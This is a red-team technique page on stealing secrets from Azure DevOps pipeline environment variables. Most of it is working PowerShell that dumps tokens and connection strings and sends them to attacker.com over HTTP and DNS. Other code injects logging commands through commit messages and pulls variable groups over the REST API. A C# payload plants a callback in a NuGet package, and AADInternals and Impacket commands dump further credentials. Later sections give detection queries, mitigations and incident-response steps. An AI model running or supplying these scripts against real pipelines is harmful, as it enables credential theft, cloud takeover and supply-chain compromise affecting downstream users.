MCADDF

CA-UNSC-015: Pipeline environment variables theft

1. Metadata

Attribute Details
Technique ID CA-UNSC-015
MITRE ATT&CK v18.1 T1552.001 - Unsecured Credentials: Credentials In Files
Tactic Credential Access
Platforms Entra ID / Azure DevOps / DevOps
Severity Critical
CVE CVE-2023-21553 (Azure Pipelines logging command injection)
Technique Status ACTIVE
Last Verified 2026-01-06
Affected Versions Azure DevOps Services (all versions), Azure DevOps Server 2016-2025
Patched In CVE-2023-21553 patched Nov 2022; ongoing secret masking limitations remain
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 12 (Sysmon Detection) not included because (1) T1552.001 testing varies by CI/CD platform, (2) Sysmon does not capture cloud pipeline execution events. Remaining sections have been dynamically renumbered.


2. Executive Summary

Concept: Azure DevOps pipelines execute with access to sensitive environment variables, secrets, and predefined variables (e.g., System.AccessToken, SYSTEM_ACCESSTOKEN). Adversaries who gain code execution within a pipeline job can enumerate and exfiltrate these credentials directly from the runtime environment. The attack exploits the fundamental tension in CI/CD: secrets must be accessible to automated systems, creating exposure vectors through environment dumps, build logs, artifact inspection, and direct memory access.

Attack Surface: Azure DevOps pipeline agent runtime, build logs (stored in DevOps portal and accessible via logs), predefined variables accessible as environment variables, user-defined secret variables exposed during task execution, variable groups linked from Azure Key Vault.

Business Impact: Full Entra ID and downstream cloud infrastructure compromise. A single exposed System.AccessToken (OAuth token) grants API access to modify pipelines, queue builds, access artifacts, and potentially pivot to connected Azure subscriptions. Exposed Azure service principal credentials enable direct infrastructure compromise. Exposed API keys for NPM, GitHub, AWS credentials initiate supply chain attacks affecting thousands of downstream consumers.

Technical Context: This attack typically requires either (1) write access to pipeline code (via compromised developer account or PR merge), (2) execution within a shared build agent with insufficient isolation, or (3) exploitation of CVE-2023-21553 (injection via commit message). Once environment variables are enumerated, exfiltration is trivial—often bypassing detection due to how pipeline logs are handled.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.2.2, 2.2.1 Secrets management, pipeline input validation
DISA STIG WN10-AU-000500 Absence of pipeline audit logging for credential access
CISA SCuBA GCI-1.1 Secure CI/CD Pipeline Controls
NIST 800-53 AC-6 (Least Privilege), SC-7 (Boundary Protection), IA-5 (Authentication Mechanisms) Restrict pipeline job permissions, isolate build agents, enforce secret rotation
GDPR Art. 32 (Security of Processing) Failure to encrypt credentials in transit/at rest
DORA Art. 9 (Protection and Prevention) ICT security tools and architecture to prevent unauthorized access
NIS2 Art. 21.1 (Risk Management) Measures to detect and respond to credential theft in supply chain
ISO 27001 A.9.2.3 (User Access Management), A.9.4.1 (Information Access Restriction) Management of privileged access rights, credential separation
ISO 27005 7.3.3 (Access Control Risk) Risk of unauthorized credential disclosure in pipeline execution

3. Technical Prerequisites

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. Detailed Execution Methods

METHOD 1: Direct Environment Variable Enumeration (PowerShell)

Supported Versions: All Azure DevOps versions; Windows agents

Step 1: List All Environment Variables

Objective: Enumerate all environment variables available in the running pipeline job context, including predefined variables automatically injected by Azure Pipelines.

Command:

Get-ChildItem Env: | Format-Table -AutoSize

Expected Output:

Name                           Value
----                           -----
AGENT_ACCEPTTLS                true
AGENT_BUILDDIRECTORY           C:\agent_work\1
AGENT_ID                        123
AGENT_JOBNAME                   Job
AGENT_JOBSTATUS                 Succeeded
AGENT_MACHINENAME               AZUREPIPELINE-01
AGENT_NAME                      Hosted Agent
AGENT_OS                        Windows_NT
AGENT_OSARCHITECTURE            X64
AGENT_TEMPDIRECTORY             C:\agent_work\_temp
AGENT_TOOLSDIRECTORY            C:\agent_work\_tools
AGENT_WORKFOLDER                C:\agent_work
BUILD_ARTIFACTSTAGINGDIRECTORY  C:\agent_work\1\a
BUILD_BUILDID                   12345
BUILD_BUILDNUMBER               20250106.1
BUILD_DEFINITIONNAME            MyPipeline
BUILD_DEFINITIONVERSION          5
BUILD_REPOSITORY_LOCALPATH      C:\agent_work\1\s
BUILD_REPOSITORY_NAME           MyRepo
BUILD_REPOSITORY_URI            https://dev.azure.com/contoso/_git/MyRepo
BUILD_SOURCEBRANCH              refs/heads/main
BUILD_SOURCEVERSIONMESSAGE      "##vso[task.setvariable variable=SECRET]ABC123" (if CVE-2023-21553 exploited)
SYSTEM_ACCESSTOKEN              eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM... (OAuth token)
SYSTEM_COLLECTIONURI            https://dev.azure.com/contoso/
SYSTEM_TEAMPROJECT              MyProject
SYSTEM_TEAMFOUNDATIONCOLLECTIONURI https://dev.azure.com/contoso/
SYSTEM_DEBUG                    false
TF_BUILD                        True

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Filter for Credentials and Tokens

Objective: Identify high-value credentials from the full environment dump.

Command:

# Method 1: Filter by known keywords
$secrets = @("PASS", "TOKEN", "KEY", "SECRET", "CREDENTIAL", "API", "DATABASE", "AZURE")
Get-ChildItem Env: | Where-Object { 
    $name = $_.Name.ToUpper()
    $value = $_.Value
    $secrets | Where-Object { $name -match $_ -or $value -match "(^.{20,}$|^ey[A-Za-z0-9])" }
} | Select-Object Name, @{Name="Value";Expression={$_.Value.Substring(0, [Math]::Min(100, $_.Value.Length))}} | Format-Table

# Method 2: Dump to file for offline analysis
Get-ChildItem Env: | ForEach-Object { "$($_.Name)=$($_.Value)" } | Out-File -FilePath "env_dump.txt" -Encoding UTF8
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Content "env_dump.txt" -Raw))) | Out-File "env_dump_b64.txt"

Expected Output:

Name                        Value
----                        -----
SYSTEM_ACCESSTOKEN          eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXB...
AZURE_DEVOPS_EXT_PAT        pa3l7sdfj32sdfsdfhasdfjhljhsdfhjsdfkjhs7fhsdfsfsfs
NUGET_APIKEY                NuGetApiKey9876543210ABCDEF
DATABASE_CONNECTION_STRING  Server=tcp:db.database.windows.net;Database=MyDB;User Id=admin@sql;...

What This Means:

OpSec & Evasion:

References:


Step 3: Exfiltrate Credentials

Objective: Extract credentials from pipeline environment to attacker-controlled exfiltration channel.

Command:

# Method 1: HTTP POST to attacker server
$credentials = @{
    token = $env:SYSTEM_ACCESSTOKEN
    pat = $env:AZURE_DEVOPS_EXT_PAT
    db_conn = $env:DATABASE_CONNECTION_STRING
    api_keys = Get-ChildItem Env: | Where-Object { $_.Name -match "API|KEY" } | ConvertTo-Json
}

$body = $credentials | ConvertTo-Json
Invoke-WebRequest -Uri "http://attacker.com/exfil" -Method POST -Body $body -ContentType "application/json" -UseBasicParsing

# Method 2: DNS exfiltration (stealthier, bypasses some egress filters)
$token_b64 = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:SYSTEM_ACCESSTOKEN))
$chunks = $token_b64 -split '(?<=\G.{30})(?=.)'  # Split into 30-char chunks
foreach ($chunk in $chunks) {
    Resolve-DnsName -Name "$chunk.attacker.com" -ErrorAction SilentlyContinue
}

# Method 3: Write to build artifact (accessible via portal UI)
$env:SYSTEM_ACCESSTOKEN | Out-File -FilePath "$(Build.ArtifactStagingDirectory)/token.txt"
$env:SYSTEM_ACCESSTOKEN | Out-File -FilePath "$(Agent.TempDirectory)/token.txt"  # temp dir is accessible

Expected Output:

Status Code: 200

What This Means:

OpSec & Evasion:

Troubleshooting:

References:


METHOD 2: Exploit CVE-2023-21553 (Logging Command Injection via Commit Message)

Supported Versions: Azure DevOps Services (patched Nov 2022); Server 2019-2022 vulnerable

Step 1: Craft Malicious Commit Message

Objective: Inject logging command into Build.SourceVersionMessage variable through Git commit message.

Preconditions:

Command:

# Create malicious commit with special characters in message
git commit -m "##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]$(SYSTEM_ACCESSTOKEN)" --allow-empty
git push origin main

# Alternative: Via pull request description (if reflected in logs)
# Create PR with description: ##vso[task.setvariable variable=EXFIL_TOKEN;]...

Expected Output:

[main 7a3c4d2] ##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]...

What This Means:

OpSec & Evasion:

Troubleshooting:

References:


Step 2: Pipeline Executes and Logging Command Triggers

Objective: Demonstrate that the injected variable becomes accessible in the running pipeline.

Expected Pipeline Behavior:

When the pipeline runs after the malicious commit is merged:

steps:
- task: PowerShell@2
  inputs:
    targetType: 'inline'
    script: |
      # This step echoes the commit message, triggering the ##vso command
      Write-Host "Commit: $(Build.SourceVersionMessage)"  
      # Output: Commit: ##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]eyJ0eXAi...
      
- task: PowerShell@2
  inputs:
    targetType: 'inline'
    script: |
      # Now the variable is accessible
      Write-Host "Token: $env:EXFIL_TOKEN"
      # Output: Token: eyJ0eXAi...

Log Output:

##[section]Starting: PowerShell task
Commit: ##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]eyJ0eXAiOiJKV1QiLCJhbGci...
##vso[task.setvariable variable=EXFIL_TOKEN;isSecret=false]eyJ0eXAiOiJKV1QiLCJhbGci...
Token: eyJ0eXAiOiJKV1QiLCJhbGci...

OpSec & Evasion:


METHOD 3: Enumerate Service Principal Credentials via Variable Groups

Supported Versions: All Azure DevOps versions (Services, Server 2016-2025)

Step 1: Access Variable Groups Linked to Azure Key Vault

Objective: Extract credentials from variable group that is linked to Azure Key Vault.

Preconditions:

Command:

# Pipeline YAML that uses linked variable group
trigger:
  - main

variables:
  - group: KeyVaultSecrets  # Linked to Azure Key Vault

pool:
  vmImage: 'ubuntu-latest'

steps:
  - task: PowerShell@2
    inputs:
      targetType: 'inline'
      script: |
        # Variables from Key Vault are automatically injected
        Write-Host "Database connection string:"
        Write-Host $env:DB_CONNECTION_STRING
        
        Write-Host "API key:"
        Write-Host $env:API_KEY
        
        # Enumerate ALL variables from variable group
        Get-ChildItem Env: | Where-Object { 
          $_.Name -match "DB_|API_|SECRET_" 
        } | ForEach-Object {
          Write-Host "$($_.Name)=$($_.Value)"
        }

Expected Output:

Database connection string:
Server=tcp:mydb.database.windows.net,1433;Initial Catalog=MyDB;Persist Security Info=False;User ID=admin@sql;Password=SuperSecretPassword123!@#;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;
API key:
Bearer sk_live_51A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0T1U2V3W4X5Y6Z7A8B9C0D1

What This Means:

OpSec & Evasion:

Troubleshooting:

References:


Step 2: Programmatically Access Variable Groups via REST API

Objective: Use Azure DevOps REST API to enumerate variable groups without running a pipeline.

Preconditions:

Command:

# If running from pipeline, use System.AccessToken
$pat = $env:SYSTEM_ACCESSTOKEN

# Base64 encode PAT for Basic auth
$encodedPat = [Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes(":$pat"))

# Enumerate variable groups in project
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
$url = "$orgUrl/$project/_apis/distributedtask/variablegroups?api-version=6.0-preview.2"

$response = Invoke-RestMethod -Uri $url -Headers @{Authorization="Basic $encodedPat"} -Method Get

# List all variable groups
$response.value | ForEach-Object {
    Write-Host "Variable Group: $($_.name) (ID: $($_.id))"
}

# Get details of specific variable group (including secrets if not masked)
$groupId = $response.value[0].id
$groupUrl = "$orgUrl/$project/_apis/distributedtask/variablegroups/$groupId"
$groupDetails = Invoke-RestMethod -Uri $groupUrl -Headers @{Authorization="Basic $encodedPat"} -Method Get

$groupDetails.variables | ForEach-Object {
    Write-Host "$($_.key)=$($_.value)"
}

Expected Output:

Variable Group: KeyVaultSecrets (ID: 12345)
Variable Group: DatabaseCreds (ID: 12346)
Variable Group: APIKeys (ID: 12347)

Get variable group details:
API_KEY=Bearer sk_live_51A2B3C4D5E6F7G8H9I0J1K2L3M4N5O6P7Q8R9S0T1U2V3W4X5Y6Z7A8B9C0D1
SECRET_KEY=SuperSecretPassword123!@#

What This Means:

OpSec & Evasion:

References:


METHOD 4: Extract System.AccessToken via PipelineModified Audit Logs

Supported Versions: All Azure DevOps versions with audit logging enabled

Step 1: Trigger PipelineModified Event (No Logging of Secrets)

Objective: Modify pipeline to add step that reads and exfiltrates secrets, relying on Azure logs not capturing token values.

Command:

# Use REST API to update pipeline definition
$pat = $env:SYSTEM_ACCESSTOKEN
$orgUrl = "https://dev.azure.com/contoso"
$project = "MyProject"
$pipelineId = 12345

# Get current pipeline definition
$pipelineUrl = "$orgUrl/$project/_apis/pipelines/$pipelineId?api-version=7.0-preview.1"
$currentPipeline = Invoke-RestMethod -Uri $pipelineUrl -Authentication Bearer -Token (ConvertTo-SecureString $pat -AsPlainText -Force) -Method Get

# Modify pipeline to add exfiltration step
$currentPipeline.configuration.resources.repositories.repository.refname = "refs/heads/malicious-branch"
$updateUrl = "$orgUrl/$project/_apis/pipelines/$pipelineId?api-version=7.0-preview.1"
Invoke-RestMethod -Uri $updateUrl -Authentication Bearer -Token (ConvertTo-SecureString $pat -AsPlainText -Force) -Method Put -Body ($currentPipeline | ConvertTo-Json) -ContentType "application/json"

# This triggers PipelineModified audit event, but the token is NOT logged

Expected Output:

Azure DevOps Audit Log:
- Action: PipelineModified
- PipelineId: 12345
- ModifiedBy: attacker@company.com
- Timestamp: 2026-01-06T10:30:00Z
- Details: Changed repository branch to refs/heads/malicious-branch
# (Note: Token value is NEVER logged)

What This Means:

OpSec & Evasion:

References:


5. Detailed Execution Methods: Post-Exploitation

Lateral Movement: Using Extracted System.AccessToken

Objective: After exfiltrating System.AccessToken, use it to access Azure DevOps resources and pivot to Azure infrastructure.

Command:

# Decode the token (without validation) to see claims
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGx..."
$tokenParts = $token.Split('.')
$payload = $tokenParts[1] + ('=' * (4 - $tokenParts[1].Length % 4))  # Add padding
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload))
$claims = $decodedPayload | ConvertFrom-Json

Write-Host "Token claims:"
$claims | Format-Table

# Use token to list all projects in organization
$orgUrl = "https://dev.azure.com/contoso"
$headers = @{Authorization="Bearer $token"}
$response = Invoke-RestMethod -Uri "$orgUrl/_apis/projects?api-version=7.0" -Headers $headers
$response.value | ForEach-Object { Write-Host "Project: $($_.name)" }

# Use token to enumerate repos and clone them (source code theft)
$projectId = $response.value[0].id
$reposUrl = "$orgUrl/$projectId/_apis/git/repositories?api-version=7.0"
$repos = Invoke-RestMethod -Uri $reposUrl -Headers $headers
$repos.value | ForEach-Object {
    Write-Host "Repo: $($_.name) - Clone URL: $($_.sshUrl)"
    # git clone $_.sshUrl  # (requires SSH key, not PAT)
}

# Use token to trigger pipeline builds (potential for supply chain attack)
$pipelineUrl = "$orgUrl/$projectId/_apis/pipelines/12345/runs?api-version=7.0-preview.1"
$buildBody = @{resources=@{repositories=@{self=@{refName="refs/heads/malicious-branch"}}}} | ConvertTo-Json
Invoke-RestMethod -Uri $pipelineUrl -Headers $headers -Method Post -Body $buildBody -ContentType "application/json"

Expected Output:

Token claims:
aud       : https://dev.azure.com
iss       : https://sts.windows.net/12345678-1234-1234-1234-123456789012/
oid       : 87654321-4321-4321-4321-210987654321
sub       : user@company.com
iat       : 1640000000
exp       : 1640003600

Project: MyProject
Project: SharedLibraries
Project: InternalTools

Repo: contoso-frontend - Clone URL: git@ssh.dev.azure.com:v3/contoso/MyProject/contoso-frontend
Repo: contoso-api - Clone URL: git@ssh.dev.azure.com:v3/contoso/MyProject/contoso-api

Build triggered successfully.

What This Means:


Supply Chain Attack: Inject Malicious Code into Build Artifact

Objective: Use pipeline access to poison build artifacts that are consumed by downstream projects.

Command:

# Create malicious artifact
$maliciousCode = @"
namespace CompanyLib {
    public class Logger {
        static Logger() {
            // Exfiltrate environment variables and system info
            var env = System.Environment.GetEnvironmentVariables();
            var payload = Newtonsoft.Json.JsonConvert.SerializeObject(new {
                hostname = System.Net.Dns.GetHostName(),
                user = System.Environment.UserName,
                variables = env
            });
            using (var client = new System.Net.Http.HttpClient()) {
                client.PostAsync("http://attacker.com/callback", new System.Net.Http.StringContent(payload)).Wait();
            }
        }
    }
}
"@

# Add to build artifact (e.g., NuGet package, Docker image)
$maliciousCode | Out-File -FilePath "$(Build.ArtifactStagingDirectory)/Logger.cs"

# Package and publish
nuget pack package.nuspec -OutputDirectory "$(Build.ArtifactStagingDirectory)"
Invoke-RestMethod -Uri "https://api.nuget.org/v3/index.json" -Method Post -Headers @{Authorization="Bearer $(NUGET_APIKEY)"} -InFile "$(Build.ArtifactStagingDirectory)/*.nupkg"

Write-Host "Malicious artifact published successfully"

Expected Output:

Malicious artifact published successfully
Successfully published Package to https://www.nuget.org/packages/CompanyLib/1.0.1

What This Means:

References:


6. Tools & Commands Reference

Azure Pipelines PowerShell Module

Version: Included with Windows agents; PowerShell 5.0+
Minimum Version: PS 5.0
Supported Platforms: Windows (Server 2016+), Linux (PowerShell 7+)

Installation:

# Already installed on Microsoft-hosted agents
# For self-hosted: Install PowerShell 5.0+ or 7.0+

Usage:

# Get all environment variables
Get-ChildItem Env: | Format-Table

# Set variable for downstream steps
Write-Host "##vso[task.setvariable variable=MyVar]MyValue"

# Mark variable as secret (masked in logs)
Write-Host "##vso[task.setvariable variable=MySecret;issecret=true]SecretValue"

AADInternals PowerShell Module

Version: 0.9.8 (current)
Minimum Version: 0.9.0
Supported Platforms: Windows, macOS, Linux (with PowerShell 7)

Installation:

Install-Module -Name "AADInternals" -Force
Install-Module -Name "AADInternals-Endpoints" -Force  # For endpoint-specific functions

Post-Exploitation: Extract Additional Credentials from System

Import-Module AADInternals

# Get access token for Azure Graph (using System.AccessToken)
$token = $env:SYSTEM_ACCESSTOKEN
Add-AADIntAccessTokenToCache -AccessToken $token

# List Azure subscriptions accessible to current service principal
Get-AADIntAzureSubscriptions

# If Azure credentials are cached, export them
Export-AADIntAzureCliTokens

# Extract credentials from Azure AD Connect (if running on AAD Connect server)
Get-AADIntSyncCredentials  # Requires local admin on AAD Connect server

References:


Impacket - Kerberos/LDAP Tools

Version: Latest
Supported Platforms: Linux, macOS
Use Case: After exfiltrating on-premises AD credentials

Installation (Linux):

pip install impacket

Usage: Access on-premises AD using stolen credentials

# Extract AD credentials from Azure AD Connect (if obtained)
secretsdump.py -just-dc 'DOMAIN/user:password@DC_IP'

# Kerberoasting (if domain user credentials obtained)
GetUserSPNs.py -request 'DOMAIN/user:password'

References:


Azure CLI

Version: 2.40.0+
Supported Platforms: Windows, Linux, macOS

Usage: Access Azure resources using stolen token

# Authenticate using PAT or token
export AZURE_DEVOPS_EXT_PAT=<stolen_pat>
az devops project list --org https://dev.azure.com/contoso

# Alternatively, use access token for Azure Resource Manager
az login --username "attacker@company.com" --password "<token_if_supported>"

7. Microsoft Sentinel Detection

Query 1: Enumerate Environment Variables in Pipeline Jobs

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in ("Get-ChildItem Env:", "env", "printenv", "Get-Content")
    or ActivityDetails contains "SYSTEM_ACCESSTOKEN"
    or ActivityDetails contains "##vso[task.setvariable"
| where TimeGenerated > ago(1h)
| summarize count() by InitiatedBy, OperationName, bin(TimeGenerated, 5m)
| where count_ > 3  # Multiple envvar reads suspicious
| project TimeGenerated, InitiatedBy, OperationName, count_

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Environment Variable Enumeration in Pipeline
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 15 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this analytics rule
  7. Click Review + createCreate

What This Detects:

False Positive Analysis:


Query 2: Detect CVE-2023-21553 Exploitation (Logging Command Injection)

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "PipelineJobCompleted"
    or ActivityDetails contains "##vso[task.setvariable"
    or ActivityDetails contains "##vso[task.setsecret"
| where ActivityDetails matches regex @"##vso\[task\.(setvar|setsecret).*\(SYSTEM_ACCESSTOKEN|DB_|API_|SECRET_\)"
| project TimeGenerated, InitiatedBy, OperationName, ActivityDetails
| where TimeGenerated > ago(24h)

What This Detects:


8. Windows Event Log Monitoring

Event ID: 4688 (Process Creation) - if logs forwarded

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Monitor for Process Creation with Suspicious Arguments:

PowerShell.exe with arguments containing: Get-ChildItem Env:, ConvertTo-Base64, $env:SYSTEM_ACCESSTOKEN
cmd.exe with arguments: env > file.txt, printenv | grep TOKEN

9. Defensive Mitigations

Priority 1: CRITICAL


Priority 2: HIGH


Priority 3: MEDIUM


Access Control & Policy Hardening


Validation Command (Verify Mitigations)

PowerShell - Check if System.AccessToken is restricted:

# Run this INSIDE a pipeline job
if (-not (Test-Path Env:SYSTEM_ACCESSTOKEN)) {
    Write-Host "✓ GOOD: System.AccessToken is NOT exposed by default"
} else {
    Write-Host "✗ BAD: System.AccessToken is exposed! Restrict it immediately."
}

# Check for suspicious variables
$suspiciousVars = Get-ChildItem Env: | Where-Object { 
    $_.Name -match "PASSWORD|TOKEN|KEY|SECRET|CREDENTIAL|API" 
}

if ($suspiciousVars.Count -eq 0) {
    Write-Host "✓ GOOD: No high-risk variables found in environment"
} else {
    Write-Host "✗ WARNING: Found $($suspiciousVars.Count) potentially sensitive variables"
    $suspiciousVars | Format-Table
}

Expected Output (If Secure):

✓ GOOD: System.AccessToken is NOT exposed by default
✓ GOOD: No high-risk variables found in environment

10. Detection & Incident Response

Indicators of Compromise (IOCs)


Forensic Artifacts


Response Procedures

  1. Isolate:

    Command (Disable Pipeline Immediately):

    # Via REST API (requires admin PAT)
    $pat = "your_pat_here"
    $orgUrl = "https://dev.azure.com/contoso"
    $project = "MyProject"
    $pipelineId = 12345
       
    $url = "$orgUrl/$project/_apis/pipelines/$pipelineId?api-version=7.0-preview.1"
    $body = @{enabled=$false} | ConvertTo-Json
    Invoke-RestMethod -Uri $url -Authentication Bearer -Token (ConvertTo-SecureString $pat -AsPlainText -Force) -Method Patch -Body $body -ContentType "application/json"
    

    Manual (Azure Portal):

    1. Go to Pipelines → Select compromised pipeline
    2. Click Settings
    3. Disable pipeline immediately
    4. Pause all runs: Pause pipeline
  2. Revoke Compromised Credentials:

    Command (Revoke PATs):

    # List all PATs and revoke suspicious ones
    az devops security token list --org https://dev.azure.com/contoso
    az devops security token revoke --token-id "suspicious_token_id"
    

    Manual (Azure Portal):

    1. Organization SettingsPersonal access tokens
    2. Find tokens created by compromised user
    3. Click Revoke

    Command (Rotate Azure Service Principal):

    # Revoke service connection certificate/secret
    Remove-AzADAppCredential -ApplicationId "service_principal_id" -All
    
  3. Collect Evidence:

    Command (Export Pipeline Logs):

    $pat = "your_pat_here"
    $orgUrl = "https://dev.azure.com/contoso"
    $project = "MyProject"
    $pipelineId = 12345
    $buildId = 999
       
    # Get build logs
    $url = "$orgUrl/$project/_apis/build/builds/$buildId/logs?api-version=7.0"
    $logs = Invoke-RestMethod -Uri $url -Headers @{Authorization="Basic $(ConvertTo-Base64 ":$pat)"} -Method Get
    $logs.value | ForEach-Object { 
        Invoke-WebRequest -Uri $_.url -OutFile "log_$($_.id).txt"
    }
    

    Manual (Azure Portal):

    1. Go to PipelineBuild details
    2. Scroll to Logs section
    3. Download each log file via Download button
    4. Save to secure storage for forensic analysis
  4. Remediate:

    Command (Delete Malicious Pipeline Branch):

    git branch -D malicious-branch
    git push origin --delete malicious-branch
    

    Manual (Repository UI):

    1. Go to ReposBranches
    2. Find malicious branch
    3. Click Delete branch

Step Phase Technique Description
1 Initial Access T1199 - Trusted Relationship Compromised developer account or PR merge
2 Persistence T1133 - External Remote Services Maintain access to DevOps portal via backdoor service connection
3 Privilege Escalation T1098 - Account Manipulation Add malicious service principal to project admin group
4 Credential Access [CA-UNSC-015] Pipeline Environment Variables Theft Extract System.AccessToken and secrets from running job
5 Lateral Movement T1550.001 - Use Alternate Authentication Material: Application Access Token Use stolen token to access Azure subscription
6 Exfiltration T1041 - Exfiltration Over C2 Channel Send credentials to attacker-controlled server
7 Impact T1561.002 - Disk Wipe: Unsupported File Systems or Supply Chain Attack Poison build artifacts or lock/delete resources

12. Real-World Examples

Example 1: GitLab npm Supply Chain Attack (2025)


Example 2: SolarWinds CI/CD Pipeline Poisoning (2020)


Example 3: CircleCI Secrets Exposure (2023)


13. ATTACK VARIATIONS & VERSION-SPECIFIC NOTES

Azure DevOps Server 2016-2019

Differences:

Exploitation:

# Server 2016-2019: Variables not masked in local logs
Get-ChildItem Env: | Out-File -FilePath "C:\Logs\env.txt"  # Plaintext credentials in file

Azure DevOps Server 2022+

Differences:

Exploitation:

# Server 2022+: Direct env dump still works; masking applies to UI only
$json = @{env=(Get-ChildItem Env: | ConvertTo-Json)} | ConvertTo-Json
Invoke-WebRequest -Uri "http://attacker.com/" -Method POST -Body $json  # Real values sent

Azure DevOps Services (Cloud)

Differences:

Best Detection: Cloud-based logging in Sentinel (see Section 7)